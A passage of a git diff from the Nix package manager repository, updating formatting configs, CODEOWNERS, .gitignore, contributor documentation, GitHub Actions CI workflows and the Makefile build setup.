diff --git a/.clang-format b/.clang-format new file mode 100644 index 000000000..4f191fc18 --- /dev/null +++ b/.clang-format @@ -0,0 +1,34 @@ +BasedOnStyle: LLVM +IndentWidth: 4 +BreakBeforeBraces: Custom +BraceWrapping: + AfterStruct: true + AfterClass: true + AfterFunction: true + AfterUnion: true + SplitEmptyRecord: false +PointerAlignment: Middle +FixNamespaceComments: false +SortIncludes: Never +#IndentPPDirectives: BeforeHash +SpaceAfterCStyleCast: true +SpaceAfterTemplateKeyword: false +AccessModifierOffset: -4 +AlignAfterOpenBracket: AlwaysBreak +AlignEscapedNewlines: Left +ColumnLimit: 120 +BreakStringLiterals: false +BitFieldColonSpacing: None +AllowShortFunctionsOnASingleLine: Empty +AlwaysBreakTemplateDeclarations: Yes +BinPackParameters: false +BreakConstructorInitializers: BeforeComma +EmptyLineAfterAccessModifier: Leave # change to always/never later? +EmptyLineBeforeAccessModifier: Leave +#PackConstructorInitializers: BinPack +BreakBeforeBinaryOperators: NonAssignment +AlwaysBreakBeforeMultilineStrings: true +IndentPPDirectives: AfterHash +PPIndentWidth: 2 +BinPackArguments: false +BreakBeforeTernaryOperators: true diff --git a/.clang-tidy b/.clang-tidy new file mode 100644 index 000000000..0887b8670 --- /dev/null +++ b/.clang-tidy @@ -0,0 +1,3 @@ +# We use pointers to aggregates in a couple of places, intentionally. +# void * would look weird. +Checks: '-bugprone-sizeof-expression' diff --git a/.editorconfig b/.editorconfig index 887ecadba..e1c8bae39 100644 --- a/.editorconfig +++ b/.editorconfig @@ -4,20 +4,20 @@ # Top-most EditorConfig file root = true -# Unix-style newlines with a newline ending every file, utf-8 charset +# Unix-style newlines with a newline ending every file, UTF-8 charset [*] end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true charset = utf-8 -# Match nix files, set indent to spaces with width of two +# Match Nix files, set indent to spaces with width of two [*.nix] indent_style = space indent_size = 2 -# Match c++/shell/perl, set indent to spaces with width of four -[*.{hpp,cc,hh,sh,pl}] +# Match C++/C/shell/Perl, set indent to spaces with width of four +[*.{hpp,cc,hh,c,h,sh,pl,xs}] indent_style = space indent_size = 4 diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index d58577551..a9ca74c17 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -5,11 +5,22 @@ # For documentation on this mechanism, see https://help.github.com/articles/about-codeowners/ # Default reviewers if nothing else matches -* @edolstra @thufschmitt +* @edolstra # This file .github/CODEOWNERS @edolstra -# Public documentation -/doc @fricklerhandwerk -*.md @fricklerhandwerk +# Documentation of built-in functions +src/libexpr/primops.cc @roberth @fricklerhandwerk + +# Documentation of settings +src/libexpr/eval-settings.hh @fricklerhandwerk +src/libstore/globals.hh @fricklerhandwerk + +# Documentation +doc/manual @fricklerhandwerk +maintainers/*.md @fricklerhandwerk +src/**/*.md @fricklerhandwerk + +# Libstore layer +/src/libstore @ericson2314 diff --git a/.github/ISSUE_TEMPLATE/missing_documentation.md b/.github/ISSUE_TEMPLATE/missing_documentation.md index 942d7a971..be3f6af97 100644 --- a/.github/ISSUE_TEMPLATE/missing_documentation.md +++ b/.github/ISSUE_TEMPLATE/missing_documentation.md @@ -11,6 +11,10 @@ assignees: '' +## Proposal + + + ## Checklist @@ -22,10 +26,6 @@ assignees: '' [source]: https://github.com/NixOS/nix/tree/master/doc/manual/src [open documentation issues and pull requests]: https://github.com/NixOS/nix/labels/documentation -## Proposal - - - ## Priorities Add :+1: to [issues you find important](https://github.com/NixOS/nix/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc). diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 000000000..69da87db7 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,36 @@ + + +# Motivation + + +# Context + + + + + + + + +# Priorities and Process + +Add :+1: to [pull requests you find important](https://github.com/NixOS/nix/pulls?q=is%3Aopen+sort%3Areactions-%2B1-desc). + +The Nix maintainer team uses a [GitHub project board](https://github.com/orgs/NixOS/projects/19) to [schedule and track reviews](https://github.com/NixOS/nix/tree/master/maintainers#project-board-protocol). diff --git a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md b/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md deleted file mode 100644 index 5311be01f..000000000 --- a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md +++ /dev/null @@ -1,11 +0,0 @@ -**Release Notes** -Please include relevant [release notes](https://github.com/NixOS/nix/blob/master/doc/manual/src/release-notes/rl-next.md) as needed. - - -**Testing** - -If this issue is a regression or something that should block release, please consider including a test either in the [testsuite](https://github.com/NixOS/nix/tree/master/tests) or as a [hydraJob]( https://github.com/NixOS/nix/blob/master/flake.nix#L396) so that it can be part of the [automatic checks](https://hydra.nixos.org/jobset/nix/master). - -**Priorities** - -Add :+1: to [pull requests you find important](https://github.com/NixOS/nix/pulls?q=is%3Aopen+sort%3Areactions-%2B1-desc). diff --git a/.github/labeler.yml b/.github/labeler.yml new file mode 100644 index 000000000..0e6fd3e26 --- /dev/null +++ b/.github/labeler.yml @@ -0,0 +1,43 @@ +"c api": + - changed-files: + - any-glob-to-any-file: "src/lib*-c/**/*" + - any-glob-to-any-file: "test/unit/**/nix_api_*" + - any-glob-to-any-file: "doc/external-api/**/*" + +"contributor-experience": + - changed-files: + - any-glob-to-any-file: "CONTRIBUTING.md" + - any-glob-to-any-file: ".github/ISSUE_TEMPLATE/*" + - any-glob-to-any-file: ".github/PULL_REQUEST_TEMPLATE.md" + - any-glob-to-any-file: "doc/manual/src/contributing/**" + +"documentation": + - changed-files: + - any-glob-to-any-file: "doc/manual/**/*" + - any-glob-to-any-file: "src/nix/**/*.md" + +"store": + - changed-files: + - any-glob-to-any-file: "src/libstore/store-api.*" + - any-glob-to-any-file: "src/libstore/*-store.*" + +"fetching": + - changed-files: + - any-glob-to-any-file: "src/libfetchers/**/*" + +"repl": + - changed-files: + - any-glob-to-any-file: "src/libcmd/repl.*" + - any-glob-to-any-file: "src/nix/repl.*" + +"new-cli": + - changed-files: + - any-glob-to-any-file: "src/nix/**/*" + +"with-tests": + - changed-files: + # Unit tests + - any-glob-to-any-file: "src/*/tests/**/*" + # Functional and integration tests + - any-glob-to-any-file: "tests/functional/**/*" + diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml index 7568145b6..dd110de6c 100644 --- a/.github/workflows/backport.yml +++ b/.github/workflows/backport.yml @@ -14,19 +14,19 @@ jobs: if: github.repository_owner == 'NixOS' && github.event.pull_request.merged == true && (github.event_name != 'labeled' || startsWith('backport', github.event.label.name)) runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # required to find all branches fetch-depth: 0 - name: Create backport PRs # should be kept in sync with `version` - uses: zeebe-io/backport-action@v0.0.9 + uses: zeebe-io/backport-action@v3.0.2 with: # Config README: https://github.com/zeebe-io/backport-action#backport-action github_token: ${{ secrets.GITHUB_TOKEN }} github_workspace: ${{ github.workspace }} pull_description: |- - Bot-based backport to `${target_branch}`, triggered by a label in #${pull_number}. + Automatic backport to `${target_branch}`, triggered by a label in #${pull_number}. # should be kept in sync with `uses` version: v0.0.5 diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index dafba6d85..84e5ab998 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -11,24 +11,55 @@ jobs: tests: needs: [check_secrets] strategy: + fail-fast: false matrix: os: [ubuntu-latest, macos-latest] runs-on: ${{ matrix.os }} timeout-minutes: 60 steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: cachix/install-nix-action@v18 + - uses: cachix/install-nix-action@V27 + with: + # The sandbox would otherwise be disabled by default on Darwin + extra_nix_config: "sandbox = true" - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/cachix-action@v12 + - uses: cachix/cachix-action@v15 if: needs.check_secrets.outputs.cachix == 'true' with: name: '${{ env.CACHIX_NAME }}' signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}' authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}' + - if: matrix.os == 'ubuntu-latest' + run: | + free -h + swapon --show + swap=$(swapon --show --noheadings | head -n 1 | awk '{print $1}') + echo "Found swap: $swap" + sudo swapoff $swap + # resize it (fallocate) + sudo fallocate -l 10G $swap + sudo mkswap $swap + sudo swapon $swap + free -h + ( + while sleep 60; do + free -h + done + ) & - run: nix --experimental-features 'nix-command flakes' flake check -L + - run: nix --experimental-features 'nix-command flakes' flake show --all-systems --json + # Steps to test CI automation in your own fork. + # Cachix: + # 1. Sign-up for https://www.cachix.org/ + # 2. Create a cache for $githubuser-nix-install-tests + # 3. Create a cachix auth token and save it in https://github.com/$githubuser/nix/settings/secrets/actions in "Repository secrets" as CACHIX_AUTH_TOKEN + # Dockerhub: + # 1. Sign-up for https://hub.docker.com/ + # 2. Store your dockerhub username as DOCKERHUB_USERNAME in "Repository secrets" of your fork repository settings (https://github.com/$githubuser/nix/settings/secrets/actions) + # 3. Create an access token in https://hub.docker.com/settings/security and store it as DOCKERHUB_TOKEN in "Repository secrets" of your fork check_secrets: permissions: contents: none @@ -54,16 +85,19 @@ jobs: outputs: installerURL: ${{ steps.prepare-installer.outputs.installerURL }} steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 with: fetch-depth: 0 - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/install-nix-action@v18 - - uses: cachix/cachix-action@v12 + - uses: cachix/install-nix-action@V27 + with: + install_url: https://releases.nixos.org/nix/nix-2.20.3/install + - uses: cachix/cachix-action@v15 with: name: '${{ env.CACHIX_NAME }}' signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}' authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}' + cachixArgs: '-v' - id: prepare-installer run: scripts/prepare-installer-for-github-actions @@ -71,13 +105,14 @@ jobs: needs: [installer, check_secrets] if: github.event_name == 'push' && needs.check_secrets.outputs.cachix == 'true' strategy: + fail-fast: false matrix: os: [ubuntu-latest, macos-latest] runs-on: ${{ matrix.os }} steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/install-nix-action@v18 + - uses: cachix/install-nix-action@V27 with: install_url: '${{needs.installer.outputs.installerURL}}' install_options: "--tarball-url-prefix https://${{ env.CACHIX_NAME }}.cachix.org/serve" @@ -89,9 +124,14 @@ jobs: - run: exec sh -c "nix-instantiate -E 'builtins.currentTime' --eval" - run: exec zsh -c "nix-instantiate -E 'builtins.currentTime' --eval" - run: exec fish -c "nix-instantiate -E 'builtins.currentTime' --eval" + - run: exec bash -c "nix-channel --add https://releases.nixos.org/nixos/unstable/nixos-23.05pre466020.60c1d71f2ba nixpkgs" + - run: exec bash -c "nix-channel --update && nix-env -iA nixpkgs.hello && hello" docker_push_image: needs: [check_secrets, tests] + permissions: + contents: read + packages: write if: >- github.event_name == 'push' && github.ref_name == 'master' && @@ -99,13 +139,15 @@ jobs: needs.check_secrets.outputs.docker == 'true' runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: cachix/install-nix-action@v18 + - uses: cachix/install-nix-action@V27 + with: + install_url: https://releases.nixos.org/nix/nix-2.20.3/install - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - run: echo NIX_VERSION="$(nix --experimental-features 'nix-command flakes' eval .\#default.version | tr -d \")" >> $GITHUB_ENV - - uses: cachix/cachix-action@v12 + - run: echo NIX_VERSION="$(nix --experimental-features 'nix-command flakes' eval .\#nix.version | tr -d \")" >> $GITHUB_ENV + - uses: cachix/cachix-action@v15 if: needs.check_secrets.outputs.cachix == 'true' with: name: '${{ env.CACHIX_NAME }}' @@ -113,12 +155,63 @@ jobs: authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}' - run: nix --experimental-features 'nix-command flakes' build .#dockerImage -L - run: docker load -i ./result/image.tar.gz - - run: docker tag nix:$NIX_VERSION nixos/nix:$NIX_VERSION - - run: docker tag nix:$NIX_VERSION nixos/nix:master + - run: docker tag nix:$NIX_VERSION ${{ secrets.DOCKERHUB_USERNAME }}/nix:$NIX_VERSION + - run: docker tag nix:$NIX_VERSION ${{ secrets.DOCKERHUB_USERNAME }}/nix:master + # We'll deploy the newly built image to both Docker Hub and Github Container Registry. + # + # Push to Docker Hub first - name: Login to Docker Hub - uses: docker/login-action@v2 + uses: docker/login-action@v3 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - - run: docker push nixos/nix:$NIX_VERSION - - run: docker push nixos/nix:master + - run: docker push ${{ secrets.DOCKERHUB_USERNAME }}/nix:$NIX_VERSION + - run: docker push ${{ secrets.DOCKERHUB_USERNAME }}/nix:master + # Push to GitHub Container Registry as well + - name: Login to GitHub Container Registry + uses: docker/login-action@v3 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + - name: Push image + run: | + IMAGE_ID=ghcr.io/${{ github.repository_owner }}/nix + # Change all uppercase to lowercase + IMAGE_ID=$(echo $IMAGE_ID | tr '[A-Z]' '[a-z]') + + docker tag nix:$NIX_VERSION $IMAGE_ID:$NIX_VERSION + docker tag nix:$NIX_VERSION $IMAGE_ID:latest + docker push $IMAGE_ID:$NIX_VERSION + docker push $IMAGE_ID:latest + # deprecated 2024-02-24 + docker tag nix:$NIX_VERSION $IMAGE_ID:master + docker push $IMAGE_ID:master + + vm_tests: + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@v4 + - uses: DeterminateSystems/nix-installer-action@main + - uses: DeterminateSystems/magic-nix-cache-action@main + - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.functional_user + + flake_regressions: + needs: vm_tests + runs-on: ubuntu-22.04 + steps: + - name: Checkout nix + uses: actions/checkout@v4 + - name: Checkout flake-regressions + uses: actions/checkout@v4 + with: + repository: NixOS/flake-regressions + path: flake-regressions + - name: Checkout flake-regressions-data + uses: actions/checkout@v4 + with: + repository: NixOS/flake-regressions-data + path: flake-regressions/tests + - uses: DeterminateSystems/nix-installer-action@main + - uses: DeterminateSystems/magic-nix-cache-action@main + - run: nix build --out-link ./new-nix && PATH=$(pwd)/new-nix/bin:$PATH scripts/flake-regressions.sh diff --git a/.github/workflows/hydra_status.yml b/.github/workflows/hydra_status.yml deleted file mode 100644 index 38a9c0877..000000000 --- a/.github/workflows/hydra_status.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: Hydra status - -permissions: read-all - -on: - schedule: - - cron: "12,42 * * * *" - workflow_dispatch: - -jobs: - check_hydra_status: - name: Check Hydra status - if: github.repository_owner == 'NixOS' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v3 - with: - fetch-depth: 0 - - run: bash scripts/check-hydra-status.sh - diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml new file mode 100644 index 000000000..34aa4e6bd --- /dev/null +++ b/.github/workflows/labels.yml @@ -0,0 +1,24 @@ +name: "Label PR" + +on: + pull_request_target: + types: [edited, opened, synchronize, reopened] + +# WARNING: +# When extending this action, be aware that $GITHUB_TOKEN allows some write +# access to the GitHub API. This means that it should not evaluate user input in +# a way that allows code injection. + +permissions: + contents: read + pull-requests: write + +jobs: + labels: + runs-on: ubuntu-latest + if: github.repository_owner == 'NixOS' + steps: + - uses: actions/labeler@v5 + with: + repo-token: ${{ secrets.GITHUB_TOKEN }} + sync-labels: false diff --git a/.gitignore b/.gitignore index 8e0db013f..a17b627f4 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,9 @@ perl/Makefile.config /stamp-h1 /svn-revision /libtool +/config/config.* +# Default meson build dir +/build # /doc/manual/ /doc/manual/*.1 @@ -18,11 +21,19 @@ perl/Makefile.config /doc/manual/generated/* /doc/manual/nix.json /doc/manual/conf-file.json -/doc/manual/builtins.json +/doc/manual/language.json +/doc/manual/xp-features.json /doc/manual/src/SUMMARY.md +/doc/manual/src/SUMMARY-rl-next.md +/doc/manual/src/store/types/* +!/doc/manual/src/store/types/index.md.in /doc/manual/src/command-ref/new-cli /doc/manual/src/command-ref/conf-file.md +/doc/manual/src/command-ref/experimental-features-shortlist.md +/doc/manual/src/contributing/experimental-feature-descriptions.md /doc/manual/src/language/builtins.md +/doc/manual/src/language/builtin-constants.md +/doc/manual/src/release-notes/rl-next.md # /scripts/ /scripts/nix-profile.sh @@ -37,17 +48,28 @@ perl/Makefile.config /src/libexpr/parser-tab.hh /src/libexpr/parser-tab.output /src/libexpr/nix.tbl -/src/libexpr/tests/libexpr-tests +/src/libexpr/tests +/tests/unit/libexpr/libnixexpr-tests + +# /src/libfetchers +/tests/unit/libfetchers/libnixfetchers-tests + +# /src/libflake +/tests/unit/libflake/libnixflake-tests # /src/libstore/ *.gen.* -/src/libstore/tests/libstore-tests +/src/libstore/tests +/tests/unit/libstore/libnixstore-tests # /src/libutil/ -/src/libutil/tests/libutil-tests +/src/libutil/tests +/tests/unit/libutil/libnixutil-tests /src/nix/nix +/src/nix/generated-doc + # /src/nix-env/ /src/nix-env/nix-env @@ -73,21 +95,25 @@ perl/Makefile.config /src/build-remote/build-remote -# /tests/ -/tests/test-tmp -/tests/common.sh -/tests/result* -/tests/restricted-innocent -/tests/shell -/tests/shell.drv -/tests/config.nix -/tests/ca/config.nix -/tests/repl-result-out +# /tests/functional/ +/tests/functional/test-tmp +/tests/functional/common/subst-vars.sh +/tests/functional/result* +/tests/functional/restricted-innocent +/tests/functional/shell +/tests/functional/shell.drv +/tests/functional/config.nix +/tests/functional/ca/config.nix +/tests/functional/dyn-drv/config.nix +/tests/functional/repl-result-out +/tests/functional/debugger-test-out +/tests/functional/test-libstoreconsumer/test-libstoreconsumer -# /tests/lang/ -/tests/lang/*.out -/tests/lang/*.out.xml -/tests/lang/*.ast +# /tests/functional/lang/ +/tests/functional/lang/*.out +/tests/functional/lang/*.out.xml +/tests/functional/lang/*.err +/tests/functional/lang/*.ast /perl/lib/Nix/Config.pm /perl/lib/Nix/Store.cc @@ -97,12 +123,11 @@ perl/Makefile.config /misc/systemd/nix-daemon.conf /misc/upstart/nix-daemon.conf -/src/resolve-system-dependencies/resolve-system-dependencies - outputs/ *.a *.o +*.o.tmp *.so *.dylib *.dll @@ -123,9 +148,21 @@ GTAGS # auto-generated compilation database compile_commands.json +*.compile_commands.json nix-rust/target result +result-* +# IDE .vscode/ +.idea/ + +.pre-commit-config.yaml + +# clangd and possibly more +.cache/ + +# Mac OS +.DS_Store diff --git a/.shellcheckrc b/.shellcheckrc new file mode 100644 index 000000000..de98055f7 --- /dev/null +++ b/.shellcheckrc @@ -0,0 +1,4 @@ +external-sources=true +source-path=SCRIPTDIR +# Hack for scripts in e.g. tests/functional/ca +source-path=SCRIPTDIR/.. diff --git a/.version b/.version index fb2c0766b..5c18f9195 100644 --- a/.version +++ b/.version @@ -1 +1 @@ -2.13.0 +2.25.0 diff --git a/CITATION.cff b/CITATION.cff new file mode 100644 index 000000000..0105fb823 --- /dev/null +++ b/CITATION.cff @@ -0,0 +1,42 @@ +cff-version: 1.2.0 +title: Nix +message: >- + If you use this software, please cite it using the + metadata from this file. +type: software +authors: + - given-names: Eelco + family-names: Dolstra + email: edolstra@gmail.com + - name: The Nix contributors + website: 'https://github.com/NixOS/nix' +references: + - title: The Purely Functional Software Deployment Model + authors: + - family-names: Dolstra + given-names: Eelco + year: 2006 + type: thesis + thesis-type: PhD thesis + isbn: 90-393-4130-3 + url: https://dspace.library.uu.nl/handle/1874/7540 + database-provider: Utrecht University Repository + institution: + name: Utrecht University + keywords: + - configuration management + - software deployment + - purely functional + - component-based software engineering +repository-code: 'https://github.com/NixOS/nix' +url: 'https://nixos.org/' +abstract: >- + Nix, a purely functional package manager, is a powerful + package manager for Linux and other Unix systems that + makes package management reliable and reproducible. +keywords: + - reproducibility + - open-source + - c++ + - functional +license: LGPL-2.1 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..56508df34 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,100 @@ +# Contributing to Nix + +Welcome and thank you for your interest in contributing to Nix! +We appreciate your support. + +Reading and following these guidelines will help us make the contribution process easy and effective for everyone involved. + +## Report a bug + +1. Check on the [GitHub issue tracker](https://github.com/NixOS/nix/issues) if your bug was already reported. + +2. If you were not able to find the bug or feature [open a new issue](https://github.com/NixOS/nix/issues/new/choose) + +3. The issue templates will guide you in specifying your issue. + The more complete the information you provide, the more likely it can be found by others and the more useful it is in the future. + Make sure reported bugs can be reproduced easily. + +4. Once submitted, do not expect issues to be picked up or solved right away. + The only way to ensure this, is to [work on the issue yourself](#making-changes-to-nix). + +## Report a security vulnerability + +Check out the [security policy](https://github.com/NixOS/nix/security/policy). + +## Making changes to Nix + +1. Search for related issues that cover what you're going to work on. + It could help to mention there that you will work on the issue. + + We strongly recommend first-time contributors not to propose new features but rather fix tightly-scoped problems in order to build trust and a working relationship with maintainers. + + Issues labeled [good first issue](https://github.com/NixOS/nix/labels/good%20first%20issue) should be relatively easy to fix and are likely to get merged quickly. + Pull requests addressing issues labeled [idea approved](https://github.com/NixOS/nix/labels/idea%20approved) or [RFC](https://github.com/NixOS/nix/labels/RFC) are especially welcomed by maintainers and will receive prioritised review. + + If you are proficient with C++, addressing one of the [popular issues](https://github.com/NixOS/nix/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc) will be highly appreciated by maintainers and Nix users all over the world. + For far-reaching changes, please investigate possible blockers and design implications, and coordinate with maintainers before investing too much time in writing code that may not end up getting merged. + + If there is no relevant issue yet and you're not sure whether your change is likely to be accepted, [open an issue](https://github.com/NixOS/nix/issues/new/choose) yourself. + +2. Check for [pull requests](https://github.com/NixOS/nix/pulls) that might already cover the contribution you are about to make. + There are many open pull requests that might already do what you intend to work on. + You can use [labels](https://github.com/NixOS/nix/labels) to filter for relevant topics. + +3. Check the [Nix reference manual](https://nix.dev/manual/nix/development/development/building.html) for information on building Nix and running its tests. + + For contributions to the command line interface, please check the [CLI guidelines](https://nix.dev/manual/nix/development/development/cli-guideline.html). + +4. Make your change! + +5. [Create a pull request](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) for your changes. + * Clearly explain the problem that you're solving. + + Link related issues to inform interested parties and future contributors about your change. + If your pull request closes one or multiple issues, mention that in the description using `Closes: #`, as it will then happen automatically when your change is merged. + * Credit original authors when you're reusing or building on their work. + * Link to relevant changes in other projects, so that others can understand the full context of the change in the future when you or someone else will change or troubleshoot the code. + This is especially important when your change is based on work done in other repositories. + + Example: + ``` + This is based on the work of @user in . + This solution took inspiration from . + + Co-authored-by: User Name + ``` + + When cherry-picking from a different repository, use the `-x` flag, and then amend the commits to turn the hashes into URLs. + + * Make sure to have [a clean history of commits on your branch by using rebase](https://www.digitalocean.com/community/tutorials/how-to-rebase-and-update-a-pull-request). + * [Mark the pull request as draft](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) if you're not done with the changes. + +6. Do not expect your pull request to be reviewed immediately. + Nix maintainers follow a [structured process for reviews and design decisions](https://github.com/NixOS/nix/tree/master/maintainers#project-board-protocol), which may or may not prioritise your work. + + Following this checklist will make the process smoother for everyone: + + - [ ] Fixes an [idea approved](https://github.com/NixOS/nix/labels/idea%20approved) issue + - [ ] Tests, as appropriate: + - Functional tests – [`tests/functional/**.sh`](./tests/functional) + - Unit tests – [`src/*/tests`](./src/) + - Integration tests – [`tests/nixos/*`](./tests/nixos) + - [ ] User documentation in the [manual](./doc/manual/src) + - [ ] API documentation in header files + - [ ] Code and comments are self-explanatory + - [ ] Commit message explains **why** the change was made + - [ ] New feature or incompatible change: [add a release note](https://nix.dev/manual/nix/development/development/contributing.html#add-a-release-note) + +7. If you need additional feedback or help to getting pull request into shape, ask other contributors using [@mentions](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams). + +## Making changes to the Nix manual + +The Nix reference manual is hosted on https://nixos.org/manual/nix. +The underlying source files are located in [`doc/manual/src`](./doc/manual/src). +For small changes you can [use GitHub to edit these files](https://docs.github.com/en/repositories/working-with-files/managing-files/editing-files) +For larger changes see the [Nix reference manual](https://nix.dev/manual/nix/development/development/contributing.html). + +## Getting help + +Whenever you're stuck or do not know how to proceed, you can always ask for help. +We invite you to use our [Matrix room](https://matrix.to/#/#nix-dev:nixos.org) to ask questions. diff --git a/Makefile b/Makefile index c1a1ce2c7..dbf510a3e 100644 --- a/Makefile +++ b/Makefile @@ -1,29 +1,77 @@ +# External build directory support + +include mk/build-dir.mk + +-include $(buildprefix)Makefile.config +clean-files += $(buildprefix)Makefile.config + +# List makefiles + +include mk/platform.mk + +ifeq ($(ENABLE_BUILD), yes) makefiles = \ mk/precompiled-headers.mk \ local.mk \ src/libutil/local.mk \ - src/libutil/tests/local.mk \ src/libstore/local.mk \ - src/libstore/tests/local.mk \ src/libfetchers/local.mk \ src/libmain/local.mk \ src/libexpr/local.mk \ - src/libexpr/tests/local.mk \ + src/libflake/local.mk \ src/libcmd/local.mk \ src/nix/local.mk \ - src/resolve-system-dependencies/local.mk \ + src/libutil-c/local.mk \ + src/libstore-c/local.mk \ + src/libexpr-c/local.mk + +ifdef HOST_UNIX +makefiles += \ scripts/local.mk \ + maintainers/local.mk \ misc/bash/local.mk \ misc/fish/local.mk \ misc/zsh/local.mk \ misc/systemd/local.mk \ misc/launchd/local.mk \ - misc/upstart/local.mk \ - doc/manual/local.mk \ - tests/local.mk \ - tests/plugins/local.mk + misc/upstart/local.mk +endif +endif --include Makefile.config +ifeq ($(ENABLE_UNIT_TESTS), yes) +makefiles += \ + tests/unit/libutil/local.mk \ + tests/unit/libutil-support/local.mk \ + tests/unit/libstore/local.mk \ + tests/unit/libstore-support/local.mk \ + tests/unit/libfetchers/local.mk \ + tests/unit/libexpr/local.mk \ + tests/unit/libexpr-support/local.mk \ + tests/unit/libflake/local.mk +endif + +ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes) +ifdef HOST_UNIX +makefiles += \ + tests/functional/local.mk \ + tests/functional/flakes/local.mk \ + tests/functional/ca/local.mk \ + tests/functional/git-hashing/local.mk \ + tests/functional/dyn-drv/local.mk \ + tests/functional/local-overlay-store/local.mk \ + tests/functional/test-libstoreconsumer/local.mk \ + tests/functional/plugins/local.mk +endif +endif + +# Some makefiles require access to built programs and must be included late. +makefiles-late = + +ifeq ($(ENABLE_DOC_GEN), yes) +makefiles-late += doc/manual/local.mk +endif + +# Miscellaneous global Flags OPTIMIZE = 1 @@ -32,8 +80,49 @@ ifeq ($(OPTIMIZE), 1) GLOBAL_LDFLAGS += $(CXXLTO) else GLOBAL_CXXFLAGS += -O0 -U_FORTIFY_SOURCE + unexport NIX_HARDENING_ENABLE endif +ifdef HOST_WINDOWS + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + GLOBAL_LDFLAGS += -Wl,--export-all-symbols +endif + +GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -Werror=unused-result -Werror=suggest-override -include $(buildprefix)config.h -std=c++2a -I src + +# Include the main lib, causing rules to be defined + include mk/lib.mk -GLOBAL_CXXFLAGS += -g -Wall -include config.h -std=c++17 -I src +# Fallback stub rules for better UX when things are disabled +# +# These must be defined after `mk/lib.mk`. Otherwise the first rule +# incorrectly becomes the default target. + +ifneq ($(ENABLE_UNIT_TESTS), yes) +.PHONY: check +check: + @echo "Unit tests are disabled. Configure without '--disable-unit-tests', or avoid calling 'make check'." + @exit 1 +endif + +ifneq ($(ENABLE_FUNCTIONAL_TESTS), yes) +.PHONY: installcheck +installcheck: + @echo "Functional tests are disabled. Configure without '--disable-functional-tests', or avoid calling 'make installcheck'." + @exit 1 +endif + +# Documentation fallback stub rules. + +ifneq ($(ENABLE_DOC_GEN), yes) +.PHONY: manual-html manpages +manual-html manpages: + @echo "Generated docs are disabled. Configure without '--disable-doc-gen', or avoid calling 'make manpages' and 'make manual-html'." + @exit 1 +endif diff --git a/Makefile.config.in b/Makefile.config.in index 1c5405c6d..3100d2073 100644 --- a/Makefile.config.in +++ b/Makefile.config.in @@ -8,15 +8,21 @@ CXX = @CXX@ CXXFLAGS = @CXXFLAGS@ CXXLTO = @CXXLTO@ EDITLINE_LIBS = @EDITLINE_LIBS@ +ENABLE_BUILD = @ENABLE_BUILD@ +ENABLE_DOC_GEN = @ENABLE_DOC_GEN@ +ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@ ENABLE_S3 = @ENABLE_S3@ +ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@ GTEST_LIBS = @GTEST_LIBS@ HAVE_LIBCPUID = @HAVE_LIBCPUID@ HAVE_SECCOMP = 